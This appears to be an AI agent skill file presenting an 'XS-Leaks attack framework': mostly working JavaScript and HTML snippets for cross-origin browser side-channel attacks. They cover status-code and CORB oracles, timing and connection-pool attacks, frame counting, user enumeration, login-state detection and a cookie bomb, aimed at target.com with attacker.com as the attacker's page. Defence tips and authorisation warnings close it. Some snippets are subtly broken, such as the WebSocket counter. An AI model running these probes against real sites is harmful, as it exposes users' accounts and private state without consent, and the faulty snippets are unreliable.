XS-Search/XS-Leaks Attack Framework
A comprehensive guide for performing cross-origin information extraction attacks using browser side-channel vulnerabilities.
When to Use This Skill
Use this skill when you need to:
- Extract information from cross-origin pages you cannot directly access
- Enumerate user authentication state across different origins
- Detect redirects, status codes, or headers from cross-origin resources
- Perform browser-based side-channel attacks for security testing
- Understand and exploit XS-Leak vulnerabilities in web applications
- Test for information leakage through timing, event handlers, or browser APIs
Core Concepts
Attack Components
- Vulnerable Web: The target website from which information is extracted
- Attacker's Web: Your malicious page hosting the exploit
- Inclusion Method: How you incorporate the target (iframe, window.open, fetch, HTML elements)
- Leak Technique: How you discern state differences (timing, events, errors, etc.)
- States: The two conditions you're trying to distinguish (e.g., logged in vs. logged out)
- Detectable Differences: Observable variations you exploit
Detectable Differences You Can Exploit
| Difference Type | What It Reveals |
|---|---|
| Status Code | HTTP response codes (200, 404, 403, etc.) |
| API Usage | Whether specific Web APIs are used |
| Redirects | Navigation to different pages |
| Page Content | Response body variations, embedded frame counts, image sizes |
| HTTP Headers | X-Frame-Options, Content-Disposition, CORP, CORS headers |
| Timing | Time disparities between states |
Attack Techniques
1. Event Handler Techniques
Onload/Onerror Oracle
Best for: Status code detection, resource existence checks
<!-- Script-based approach -->
<script>
const script = document.createElement('script');
script.onload = () => console.log('Resource loaded (2xx)');
script.onerror = () => console.log('Resource failed (4xx/5xx)');
script.src = 'https://target.com/secret?user=' + candidate;
</script>
<!-- Scriptless approach -->
<object data="https://target.com/404">
<object data="https://attacker.com/?error"></object>
</object>
Use when: You need to distinguish between successful and failed resource loads
Content-Type/CORB Script Load Oracle
Best for: Brute-forcing identifiers when response type varies
<script>
const script = document.createElement('script');
script.onload = () => {
// HTML response - likely a match
console.log('Match found');
};
script.onerror = () => {
// JSON response blocked by CORB - no match
console.log('No match');
};
script.src = `https://target.com/api/user/${candidate}`;
</script>
Use when: Target returns HTML on match vs JSON on mismatch
postMessage vs X-Frame-Options Oracle
Best for: Detecting widget loading with postMessage signals
<iframe id="target" width="0" height="0"></iframe>
<script>
function test(id) {
target.src = `https://target.com/widget?user=${id}`;
return new Promise(r => {
const timeout = setTimeout(() => r(false), 2000);
window.onmessage = () => {
clearTimeout(timeout);
r(true); // Message received = success
};
});
}
</script>
Use when: Target widgets emit postMessage on successful load
2. Timing-Based Techniques
Onload Timing
Best for: Measuring network request duration
function measureLoad(url) {
const start = performance.now();
const img = new Image();
img.onload = () => {
const duration = performance.now() - start;
console.log(`Load time: ${duration}ms`);
return duration;
};
img.src = url;
}
Use when: Different states have measurably different load times
Sandbox Frame Timing
Best for: Cleaner timing measurements (no JS execution variance)
<iframe id="target" sandbox></iframe>
<script>
const start = performance.now();
target.onload = () => {
const duration = performance.now() - start;
console.log(`Sandbox load time: ${duration}ms`);
};
target.src = 'https://target.com/secret';
</script>
Use when: You need timing without JavaScript execution noise
Connection Pool Timing
Best for: Measuring target page load time by blocking sockets
async function connectionPoolTiming(targetUrl) {
// Block 255 sockets
const promises = [];
for (let i = 0; i < 255; i++) {
promises.push(fetch(`https://blocker${i}.example.com/hold`));
}
// Load target on 256th socket
const targetStart = performance.now();
await fetch(targetUrl);
const targetDuration = performance.now() - targetStart;
// 257th request waits for socket release
const waitStart = performance.now();
await fetch('https://signal.example.com/done');
const waitDuration = performance.now() - waitStart;
console.log(`Target load: ${targetDuration}ms, Wait: ${waitDuration}ms`);
}
Use when: You need to isolate target page network time
3. Performance API Techniques
Error Leak Detection
Best for: Distinguishing error responses from successful ones
function checkPerformanceEntry(url) {
const img = new Image();
img.src = url;
setTimeout(() => {
const entries = performance.getEntriesByType('resource');
const found = entries.find(e => e.name.includes(url));
if (!found) {
console.log('No performance entry = error response');
} else {
console.log('Performance entry exists = successful response');
}
}, 1000);
}
Use when: Error responses don't create performance entries
X-Frame-Options Detection
Best for: Detecting framing protection headers
function detectXFrameOptions(url) {
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
document.body.appendChild(iframe);
iframe.src = url;
setTimeout(() => {
const entries = performance.getEntriesByType('resource');
const found = entries.find(e => e.name.includes(url));
if (!found) {
console.log('X-Frame-Options likely present (no entry)');
} else {
console.log('No X-Frame-Options blocking');
}
}, 1000);
}
Use when: You need to detect framing protection
Redirect Detection
Best for: Detecting if a response is a redirect
async function detectRedirect(url) {
const response = await fetch(url, { redirect: 'manual' });
if (response.type === 'opaqueredirect') {
console.log('Redirect detected');
} else {
console.log('No redirect');
}
}
Use when: You need to detect cross-origin redirects
4. Global Limits Techniques
WebSocket Connection Count
Best for: Detecting WebSocket usage on target page
function countWebSockets(targetUrl) {
const win = window.open(targetUrl);
let exceptions = 0;
try {
for (let i = 0; i < 100; i++) {
new WebSocket('wss://attacker.com/ws');
}
} catch (e) {
exceptions++;
}
console.log(`Target uses ${exceptions} WebSocket connections`);
win.close();
}
Use when: You need to detect WebSocket usage patterns
History Length Oracle
Best for: Detecting navigation to specific URLs
async function checkHistoryLength(win, url) {
const before = win.history.length;
win.location = url + '#test';
win.location = 'about:blank';
await new Promise(r => setTimeout(r, 500));
const after = win.history.length;
return after > before; // true if URL was correct
}
Use when: You need to verify if a frame/popup is at a specific URL
5. Readable Attributes Techniques
Frame Counting
Best for: Detecting page state through iframe count
function countFrames(win) {
return win.length; // Number of frames in the window
}
// Monitor for changes
setInterval(() => {
const count = countFrames(targetWindow);
console.log(`Frame count: ${count}`);
}, 1000);
Use when: Page state changes the number of embedded frames
Image Dimensions Leak
Best for: Detecting content through image size
function getImageDimensions(url) {
const img = new Image();
img.src = url;
img.onload = () => {
console.log(`Width: ${img.width}, Height: ${img.height}`);
// Different sizes = different content
};
}
Use when: Content variations affect image dimensions
CSS Property Leak
Best for: Detecting styling changes based on user state
function detectCSSProperty(url, selector, property) {
const link = document.createElement('link');
link.rel = 'stylesheet';
link.href = url;
document.head.appendChild(link);
setTimeout(() => {
const element = document.querySelector(selector);
const style = window.getComputedStyle(element);
const value = style.getPropertyValue(property);
console.log(`${property}: ${value}`);
}, 1000);
}
Use when: Target changes CSS based on user authentication/state
6. Error Message Techniques
Media Error Status Code Leak
Best for: Firefox status code extraction
function mediaErrorLeak(url) {
const audio = new Audio();
audio.src = url;
audio.onerror = () => {
const err = audio.error;
const message = err.message;
if (message.includes('DEMUXER_ERROR_COULD_NOT_OPEN') ||
message.includes('Failed to init decoder')) {
console.log('Status: Success (2xx)');
} else {
console.log('Status: Error (4xx/5xx)');
}
};
}
Use when: Testing in Firefox for status code leaks
CORS Error Redirect Leak
Best for: Extracting redirect URLs in Webkit browsers
async function corsRedirectLeak(url) {
try {
await fetch(url, { mode: 'cors' });
} catch (e) {
// Error message may contain redirect URL
console.log('CORS error:', e.message);
}
}
Use when: Target redirects based on user state
Practical Attack Patterns
Pattern 1: User Enumeration via XS-Leaks
async function enumerateUsers(targetUrl, candidates) {
for (const user of candidates) {
const start = performance.now();
const img = new Image();
img.onload = () => {
const duration = performance.now() - start;
if (duration < 100) { // Fast = cached/exists
console.log(`User exists: ${user}`);
}
};
img.onerror = () => {
console.log(`User not found: ${user}`);
};
img.src = `${targetUrl}/api/user/${user}`;
await new Promise(r => setTimeout(r, 200));
}
}
Pattern 2: Authentication State Detection
function detectAuthState(targetUrl) {
const iframe = document.createElement('iframe');
iframe.style.display = 'none';
document.body.appendChild(iframe);
iframe.src = targetUrl;
setTimeout(() => {
const entries = performance.getEntriesByType('resource');
const found = entries.find(e => e.name.includes(targetUrl));
if (found && found.duration > 0) {
console.log('Likely authenticated (page loaded)');
} else {
console.log('Likely not authenticated (redirected/blocked)');
}
}, 2000);
}
Pattern 3: Cookie Bomb + XS-Search
function cookieBombXSLeak(targetUrl) {
// Set large cookies to trigger size-based errors
for (let i = 0; i < 100; i++) {
document.cookie = `bomb${i}=${'x'.repeat(4000)}`;
}
// Load target - if response size + cookies exceeds limit, error occurs
const img = new Image();
img.onload = () => console.log('Response small enough');
img.onerror = () => console.log('Response too large (contains secret)');
img.src = targetUrl;
}
Defense Recommendations
For Developers
- Set proper CORS headers: Don't use
Access-Control-Allow-Origin: *for sensitive endpoints - Implement X-Frame-Options: Use
DENYorSAMEORIGINappropriately - Use CORP headers:
Cross-Origin-Resource-Policy: same-origin - Avoid timing variations: Make responses consistent regardless of state
- Validate and sanitize: Prevent injection that enables these attacks
- Use COOP:
Cross-Origin-Opener-Policy: same-origin
For Security Testers
- Test multiple browsers: Leaks vary by browser implementation
- Combine techniques: Use multiple leak vectors for confirmation
- Consider timing noise: Account for network variance in timing attacks
- Document findings: Track which techniques work on which targets
- Respect scope: Only test authorized targets
References
Important Notes
- Legal: Only perform these attacks on systems you have explicit authorization to test
- Browser Variations: Techniques work differently across Chrome, Firefox, Safari
- Mitigations: Modern browsers are actively reducing these attack surfaces
- Noise: Timing attacks require statistical analysis to overcome variance
- Ethics: Use these techniques responsibly for security research and authorized testing only